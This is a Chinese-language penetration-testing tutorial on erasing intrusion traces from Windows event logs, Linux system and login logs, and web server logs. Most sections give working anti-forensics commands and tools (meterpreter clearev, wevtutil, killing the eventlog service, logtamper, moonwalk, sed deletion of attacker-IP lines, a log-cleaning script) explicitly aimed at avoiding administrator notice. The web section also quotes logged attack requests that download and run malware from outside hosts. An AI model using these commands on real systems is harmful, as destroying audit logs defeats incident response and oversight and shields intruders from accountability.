清除入侵痕迹(winLinuxweb)
文章目录
- 清除入侵痕迹
- 一 Windows日志痕迹清除
- 二 Linux日志痕迹清除
- 2.1 常见Linux日志
- 2.2 清除日志工具(logtamper)
- 2.3 清除日志工具(moonwalk)
- 三 Web日志痕迹清除
- 3.1 手动命令清除(Linux环境为主)
- 3.1.1 定位关键日志文件
- 3.1.2 精准删除日志行
- 3.1.3 清空整个日志文件(高风险操作)
- 3.2 清理操作系统痕迹
- 3.3 自动化脚本与工具
- 3.4 专用工具
清除入侵痕迹
-
主机上发生的每项操作都会以日志的形式记录下来,用于跟踪事件和方便问责,如果渗透测试人员在被入侵的主机上执行任何操作,也会生成日志。这些日志对网络安全分析师和时间响应人员非常有用,他们可以从被入侵的系统中收集证据,以确定网络攻击期间发生的事情。
-
作为渗透测试人员,必须像真正的黑客一样隐蔽,以测试组织的威胁检测系统。在渗透测试结束时,需要删除任何配置、系统更改、恶意软件、后门以及在系统和网络上放置的任何其他东西。因此,在渗透测试的每个阶段,都要跟踪任何系统修改,以及是否在被入侵的设备上放置自定义恶意软件,确保离开组织网络前清除所有内容。
-
通常攻防渗透的最后阶段是痕迹清除,它是为了躲避反追踪和隐藏攻击的一种方式,相关技术内容涉及系统、网络、应用日志的删除、混淆和修改,数据恢复技术对抗,系统还原机制利用,安全审计设备的干扰和停用等,本章将介绍常见的痕迹清除方法。
一 Windows日志痕迹清除
- Windows的日志文件主要有三类,分别是系统日志(SysEvent)、应用程序日志(AppEvent)和安全日志(SecEvent),可以通过单击“开始"按钮打开"开始"菜单,单击“程序"选项中的“管理工具"选项,打开"计算机管理”,单击“系统工具"选项中的"事件查看器”查看并清除,在注册表上的位置为"HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog"。
- 系统日志:记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃及数据。在Vista/Win7/Win8/Win10/Server 2008/Server 2012系统中的默认位置为"C:WINDOWS\system32\winevt\Logs\System.evtx”。
- 应用程序日志:包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件。在Vista/Win7/Win8/Win10/Server 2008/Server 2012系统中的默认位置为"C:WINDOWS\system32\winevt\Logs\Application.evtx"。
- 安全日志:记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变
更和系统事件。安全日志也是调查取证中最常用到的日志。在Vista/Win7/Win8/Win10/Server 2008/Server 2012系统中的默认位置为"C:IWINDOWS\system32\winevtLogs\Security.evtx"。 - 痕迹清除最简单的方式也就是直接将日志文件删除。
- 可以通过msf的meterpreter的clearev或其他命令命令清除window系统、应用和安全日志。
meterpreter> clearev meterpreter> run event_manager -i #显示有关系统的事件日志及配置信息 meterpreter> run event_manager -c System # 清除系统日志 meterpreter> run event_manager -c # 清除所有日志信息 - wevtutil系统工具:查找有关事件日志和发布者的详细信息。使用此命令安装和卸载事件清单、导出、存档和清除日志。
#统计日志列表,查询所有日志信息,包含时间,数目 wevtutil.exe gli Application # 查看指定类别的日志内容 wevtutil qe /f:text Application # 删除该类日志所有内容 wevtutil cl Application # 获取最近十条日志 wevtutil.exe qe Security /f:text /rd:true /c:10
- 但清除完会留下1012或104的系统日志。
- 通过meterpreter中,终端中执行命令,关闭日志服务。
meterpreter>load powershell meterpreter>powershell_shell #找出日志进程的PID PS>Get-WmiObject -Class win32\_service -Filter "name = 'eventlog'" #kill掉对应PID,可能后续某个时刻再次重启 taskkill /F /PID 1792 - 通过Cobalt Strike EventLogMaster插件清除Windows日志。进入Beacon后可以通过EventLogMaster搜索或者清除日志。以清除日志为例,选择"Clearn"清除日志,然后可以根据事件ID和IP等清除日志,也可以选择"ClearmAll"清除所有。

- Cobalt Strike谢公子插件实现日志清除。
二 Linux日志痕迹清除
2.1 常见Linux日志
- Linux 系统的日志是系统管理、故障排查和安全审计的基石。它们记录了从内核事件到用户操作的几乎所有活动。理解这些日志的位置、内容和查看方法是每个 Linux 用户和系统管理员的必备技能。
用户个人活动日志:位于用户的主目录下,记录了单个用户在 Shell 环境和 Vim 编辑器中的操作。
| 日志文件 | 描述 | 常用查看命令 |
|---|---|---|
~/.bash_history | 记录当前用户在终端中执行过的命令历史。 | cat ~/.bash_history |
~/.viminfo | 记录 Vim 编辑器的操作历史,包括打开过的文件、搜索过的字符串、命令历史等。 | cat ~/.viminfo |
-
系统核心与应用日志 (位于
/var/log) 是 Linux 系统日志的默认存储目录,包含了系统、服务和应用程序产生的各种日志文件。 -
系统与核心服务日志
| 日志文件 | 描述 | 常用查看命令 |
|---|---|---|
/var/log/messages或 /var/log/syslog | 系统主日志文件。记录全局系统信息,包括内核、网络、服务启动/停止等。在 Debian/Ubuntu 系统中通常是 syslog,在 CentOS/RHEL 中是 messages。 | tail -f /var/log/syslog less /var/log/messages |
/var/log/auth.log或 /var/log/secure | 安全与认证日志。极其重要!记录所有与用户认证相关的事件,如成功/失败的登录、sudo 操作、SSH 连接等。auth.log 常见于 Debian/Ubuntu,secure 常见于 CentOS/RHEL。 | tail -f /var/log/auth.log grep "Failed password" /var/log/secure |
/var/log/kern.log | 内核日志。专门记录内核相关的消息,如驱动加载、硬件错误、I/O 问题等。 | dmesg (查看内核环形缓冲区) less /var/log/kern.log |
/var/log/dmesg | dmesg 命令输出的静态文件,记录了系统自启动过程中的内核消息。 | cat /var/log/dmesg |
/var/log/boot.log | 系统启动日志。记录系统引导过程中各个服务的启动状态(成功或失败)。 | cat /var/log/boot.log |
/var/log/daemon.log | 系统守护进程日志。记录后台运行的各种系统守护进程(如 sshd, cron 等)的活动。 | tail -f /var/log/daemon.log |
/var/log/cron | 计划任务日志。记录 cron 守护进程的执行情况,包括任务何时被触发、执行结果或错误信息。 | tail -f /var/log/cron |
- 用户登录与活动日志
这类日志通常不是纯文本文件,需要使用特定命令来查看。
| 日志文件 | 描述 | 常用查看命令 |
|---|---|---|
/var/log/lastlog | 记录所有用户最近一次成功登录的时间。使用 lastlog 命令查看。 | lastlog |
/var/log/wtmp | 记录所有用户的登录、登出、重启、关机事件。使用 last 命令查看。 | last last reboot |
/var/log/btmp | 记录所有失败的登录尝试。使用 lastb 命令查看,是安全审计的重要来源。 | lastb |
/var/log/utmp | 记录当前登录的用户信息。使用 w, who, users 等命令查看。 | w who |
/var/log/faillog | 记录用户登录失败的次数。使用 faillog 命令查看和管理。 | faillog -a |
- 应用程序与包管理日志
| 日志文件 | 描述 | 常用查看命令 |
|---|---|---|
/var/log/dpkg.log | Debian/Ubuntu 系统的软件包管理日志。记录通过 apt 或 dpkg 安装、升级、删除软件包的详细信息。 | tail -f /var/log/dpkg.log |
/var/log/yum.log | CentOS/RHEL/Fedora 系统的软件包管理日志。记录通过 yum 或 dnf 安装、更新、删除软件包的操作。 | cat /var/log/yum.log |
/var/log/mail.log或 /var/log/maillog | 邮件服务器日志。记录 Postfix、Sendmail 等 MTA(邮件传输代理)的收发邮件活动。 | tail -f /var/log/mail.log |
/var/log/apache2/或 /var/log/httpd/ | Web 服务器日志目录。包含访问日志 (access.log) 和错误日志 (error.log)。 | tail -f /var/log/apache2/access.log |
/var/log/mysql/或 /var/log/mysqld.log | MySQL 数据库日志。包括错误日志、慢查询日志、二进制日志等。 | tail -f /var/log/mysql/error.log |
- 日志管理工具:直接查看日志文件虽然直接,但现代 Linux 系统通常使用
systemd,其核心组件journald提供了更强大的日志管理功能。
journalctl-systemd日志查看器
journalctl可以查询和显示由journald收集的所有日志(包括内核日志、系统服务日志等),功能非常强大。
| 命令示例 | 描述 |
|---|---|
journalctl | 查看所有日志(分页显示)。 |
journalctl -f | 实时跟踪日志尾部(类似 tail -f)。 |
journalctl -u ssh.service | 查看指定服务(如 SSH)的日志。 |
journalctl -p err -b | 查看本次启动以来的所有错误(error)级别日志。 |
journalctl --since "2025-10-26 20:00:00" | 查看指定时间之后的日志。 |
journalctl -xe | 查看最近的日志,并显示详细的解释性信息(常用于排错)。 |
logrotate- 日志轮转工具
日志文件会不断增长,最终可能占满磁盘空间。logrotate是一个用于自动管理、压缩、删除和轮转日志文件的工具。
- 配置文件位置:
/etc/logrotate.conf(主配置) 和/etc/logrotate.d/(各服务配置)。 - 工作原理:
logrotate通常由cron每天定时执行,根据配置文件中的规则(如日志大小、保存天数)来处理日志。
2.2 清除日志工具(logtamper)
- 重定向命令清除日志
cat /dev/null > /var/log/messages
- logtamper工具可以清除针对utmp、wtmp、lastlog的日志
- 下载地址:https://github.com/re4lity/logtamper
- 躲避管理员查看:
python logtamper.py -m 1 -u 用户名 -i 攻击ip - 清除指定IP登录日志:
python logtamper.py -m 2 -u 用户名 -i 攻击ip - 修改上次登录时间地点:
python logtamper.py -m 3 -u 用户名 -i 攻击ip -t tty1 -d 2020:05:28:10:11:12
2.3 清除日志工具(moonwalk)
-
moonwalk:在 Linux 利用/渗透测试期间消除系统日志和文件系统时间戳上的痕迹以隐藏踪迹。
-
moonwalk 是一个 400 KB 的单二进制可执行文件,可以在渗透测试 Unix 机器时清除您的痕迹。它会在利用前保存系统日志的状态,并在利用后恢复该状态,包括文件系统时间戳,从而不留任何幽灵在 Shell 中的痕迹。
-
一旦获取目标 Unix 机器的 shell,启动一个 moonwalk 会话:
$ moonwalk start -
在进行侦察/漏洞利用并操作任何文件时,请预先获取一个文件的时间戳命令,以便在访问/修改完该文件后,能将其恢复原样:
$ moonwalk get ~/.bash_history -
在漏洞利用之后,清除痕迹并关闭会话:
$ moonwalk finish
三 Web日志痕迹清除
-
在渗透测试中,我们会在Web服务器、应用服务器、数据库甚至WAF(Web应用防火墙)上留下大量痕迹。清除这些痕迹的核心目标是:让系统恢复到测试前的“干净”状态,或至少移除所有能直接关联到本次测试活动的证据。
-
HTTP恶意请求日志展示
168.205.83.154 - - [24/Oct/2025:04:26:20 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.177.185.39/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1" 403 23694 "-" "r00ts3c-owned-you" "-"
173.3.128.176 - - [25/Oct/2025:02:53:23 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.177.185.39/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1" 403 23694 "-" "r00ts3c-owned-you" "-"
103.208.231.172 - - [25/Oct/2025:07:14:59 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 403 16922 "-" "Hello, World" "-"
222.74.183.238 - - [26/Oct/2025:02:28:04 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws HTTP/1.1" 403 23694 "-" "Hello, world" "-"
218.91.153.60 - - [26/Oct/2025:11:33:04 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 403 16922 "-" "Hello, World" "-"
175.107.1.52 - - [27/Oct/2025:12:01:59 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 403 16922 "-" "Hello, World" "-"
日志中记录了多起来自不同IP的自动化攻击,这些攻击具有明显的模式。
- 攻击模式一:下载并执行恶意脚本
- 攻击IP:
168.205.83.154,173.3.128.176 - 攻击时间: 10月24日和25日
- 攻击载荷 (URL解码后):
GET /shell?cd /tmp;rm -rf *;wget 23.177.185.39/reaper/reap.arm4;chmod 777 /tmp/reap.arm4;sh /tmp/reap.arm4 - User-Agent:
r00ts3c-owned-you,一个具有挑衅性的、典型的黑客签名。 - 攻击流程分析:
- 攻击者试图利用服务器上某个名为
/shell的潜在漏洞(可能是一个未授权的命令执行接口)。 - 如果漏洞存在,它会执行一系列命令:
cd /tmp: 切换到临时目录。rm -rf *: 清空/tmp目录,移除可能存在的竞争文件。wget ...: 从23.177.185.39下载一个名为reap.arm4的文件。.arm4后缀表明这是一个为 ARMv4 架构编译的恶意程序(通常用于物联网设备,如路由器、摄像头等)。chmod 777: 给下载的文件添加执行权限。sh /tmp/reap.arm4: 执行该恶意程序。
- 攻击者试图利用服务器上某个名为
- 结果: 所有这些请求均被服务器拒绝,返回
403 Forbidden。这表明服务器的安全配置(如Nginx规则或WAF)成功阻止了此次攻击。
- 攻击IP:
- 攻击模式二:GPON路由器漏洞利用
- 攻击IP:
103.208.231.172,218.91.153.60,175.107.1.52 - 攻击时间: 10月25日、26日、27日
- 攻击载荷:
POST /GponForm/diag_Form?images/ - User-Agent:
Hello, World或Hello, world,这是一种常见的、用于混淆视听的简单User-Agent。 - 攻击流程分析:
- 这是针对 GPON(千兆无源光网络)路由器 的一个已知远程代码执行漏洞(CVE-2018-10561/10562)。攻击者通过发送特制的POST请求,试图在设备上执行任意命令。
- 即使这台服务器不是GPON路由器,攻击者也会在全球范围内扫描并尝试利用此漏洞,因为大量设备仍未打补丁。
- 结果: 所有这些请求同样被服务器拒绝,返回
403 Forbidden。
- 攻击IP:
- 核心思路
- 识别日志位置: 首先要搞清楚目标系统(Web服务器、框架、应用)的日志存放在哪里。
- 分析日志内容: 快速定位包含我们攻击特征(如Payload、IP、User-Agent)的日志条目。
- 精准清除: 删除特定的日志行,而不是粗暴地删除整个日志文件,以免引起管理员警觉。
- 掩盖踪迹: 修改日志时间、混淆IP或使用“白名单”流量进行覆盖。
- 清理元数据: 不要忘记操作系统本身记录的命令历史、登录日志等。
3.1 手动命令清除(Linux环境为主)
这是最基础也是最灵活的方式,适用于获取了Shell权限的场景。
3.1.1 定位关键日志文件
常见的Web服务器日志路径:
- Nginx:
- Access Log:
/var/log/nginx/access.log - Error Log:
/var/log/nginx/error.log
- Access Log:
- Apache:
- Access Log:
/var/log/apache2/access.log(Debian/Ubuntu) 或/var/log/httpd/access_log(CentOS/RHEL) - Error Log:
/var/log/apache2/error.log或/var/log/httpd/error_log
- Access Log:
- IIS (Windows):
- 通常位于
%SystemDrive%\inetpub\logs\LogFiles\,按日期分文件夹。
框架或应用日志:
- 通常位于
- PHP-FPM:
/var/log/php5-fpm.log或/var/log/php7.x-fpm.log - Tomcat:
$CATALINA_HOME/logs/catalina.out,localhost_access_log.yyyy-MM-dd.txt - Django/Flask: 通常在应用目录下,或由系统服务管理器(如systemd)的journald接管。
3.1.2 精准删除日志行
假设我们的攻击IP是 192.168.1.100,Payload包含 union select。
使用 sed (流编辑器) - 首选工具 sed 可以在不打开文件的情况下进行原地编辑,非常隐蔽。
# 删除包含特定IP的所有行
sed -i '/192.168.1.100/d' /var/log/nginx/access.log
# 删除包含特定Payload的所有行
sed -i '/union select/d' /var/log/nginx/access.log
# 组合条件:删除同时包含IP和Payload的行
sed -i '/192.168.1.100.*union select/d' /var/log/nginx/access.log
# 更高级:删除特定时间段的日志(例如,下午3点到4点之间)
# 这需要根据日志格式调整正则表达式
sed -i '/28\/Oct\/2025:15:[0-5][0-9]:/d' /var/log/nginx/access.log
-i参数表示直接修改文件。d命令表示删除匹配的行。/pattern/是要匹配的正则表达式。
使用 grep + 重定向 这种方式会创建一个新文件,然后替换旧文件,操作稍显繁琐,但逻辑清晰。
# 先过滤掉不想要的行,保存到临时文件
grep -v '192.168.1.100' /var/log/nginx/access.log > /tmp/temp_access.log
# 用临时文件覆盖原文件
mv /tmp/temp_access.log /var/log/nginx/access.log
-v参数表示反向匹配,即只输出不包含匹配项的行。
3.1.3 清空整个日志文件(高风险操作)
如果日志量巨大,或者测试活动非常集中,有时会选择清空日志。但这极易被发现。
# 最简单粗暴的方式,文件大小变为0
> /var/log/nginx/access.log
# 或者使用 cat /dev/null
cat /dev/null > /var/log/nginx/access.log
# 或者使用 true 命令重定向
true > /var/log/nginx/access.log
3.2 清理操作系统痕迹
- 命令历史 (
~/.bash_history)# 清空当前会话和历史 history -c # 或者直接删除文件 rm ~/.bash_history # 更隐蔽的方式:编辑历史文件,删除敏感命令 sed -i '/sed -i/d' ~/.bash_history # 删除自己执行sed的痕迹 - 系统登录日志 (
/var/log/wtmp,/var/log/lastlog)# 清除当前用户的登录记录 > /var/log/wtmp > /var/log/lastlog # 或者使用特定工具如 `zapper` (见下文) - SSH登录密钥记录 (
~/.ssh/known_hosts)# 删除连接目标服务器的记录 sed -i '/<target_ip>/d' ~/.ssh/known_hosts
3.3 自动化脚本与工具
-
手动操作效率低且容易出错。渗透测试人员通常会使用脚本或专用工具。
-
自定义Shell脚本
-
可以编写一个简单的Bash脚本,接收IP地址等参数,自动清理多个日志文件。
#!/bin/bash # cleaner.sh - A simple log cleaner script ATTACKER_IP="192.168.1.100" LOG_FILES=("/var/log/nginx/access.log""/var/log/nginx/error.log""/var/log/apache2/access.log""/var/log/auth.log" # 系统认证日志 ) echo "[+] Starting log cleaning for IP: $ATTACKER_IP" for log_file in "${LOG_FILES[@]}"; doif [ -f "$log_file" ]; thenecho "[+] Processing $log_file..."# 创建备份(可选,但负责任的测试应该做)cp "$log_file" "${log_file}.bak"# 执行删除sed -i "/$ATTACKER_IP/d" "$log_file"echo "[+] Cleaned entries from $log_file"elseecho "[-] Log file $log_file not found."fi done echo "[+] Cleaning command history..." history -c echo "[+] Log cleaning complete."
3.4 专用工具
这些工具通常集成在Metasploit、Empire、Cobalt Strike等框架中,或者作为独立的工具存在。
- Metasploit Framework:
post/linux/manage/clear_logs: 一个标准的后渗透模块,可以自动清除常见的Linux系统日志(如/var/log/messages,/var/log/secure,wtmp,utmp等)。post/multi/gather/shell_to_meterpreter: 在升级Shell时,有些模块会提供清理选项。
- Linux Rootkit / Log Erasers:
- Zapper: 一个经典的日志清除工具,可以隐藏用户登录记录(
utmp,wtmp,lastlog)。 - stealth: 这类工具通常作为rootkit的一部分,不仅能删除日志,还能实时地、动态地隐藏特定用户、进程或网络连接,让它们在
who,ps,netstat等命令中不可见。这已经超出了简单的“清除”范畴,进入了“隐藏”的领域。
- Zapper: 一个经典的日志清除工具,可以隐藏用户登录记录(
- Windows下的工具:
- PowerSploit: 中的
Invoke-EventLogCleaner函数可以用来清除Windows事件日志。 - Empire / Cobalt Strike: 内置了清除事件日志的模块,如
cleareventlog命令,可以一键清空Application, Security, System等日志。
- PowerSploit: 中的
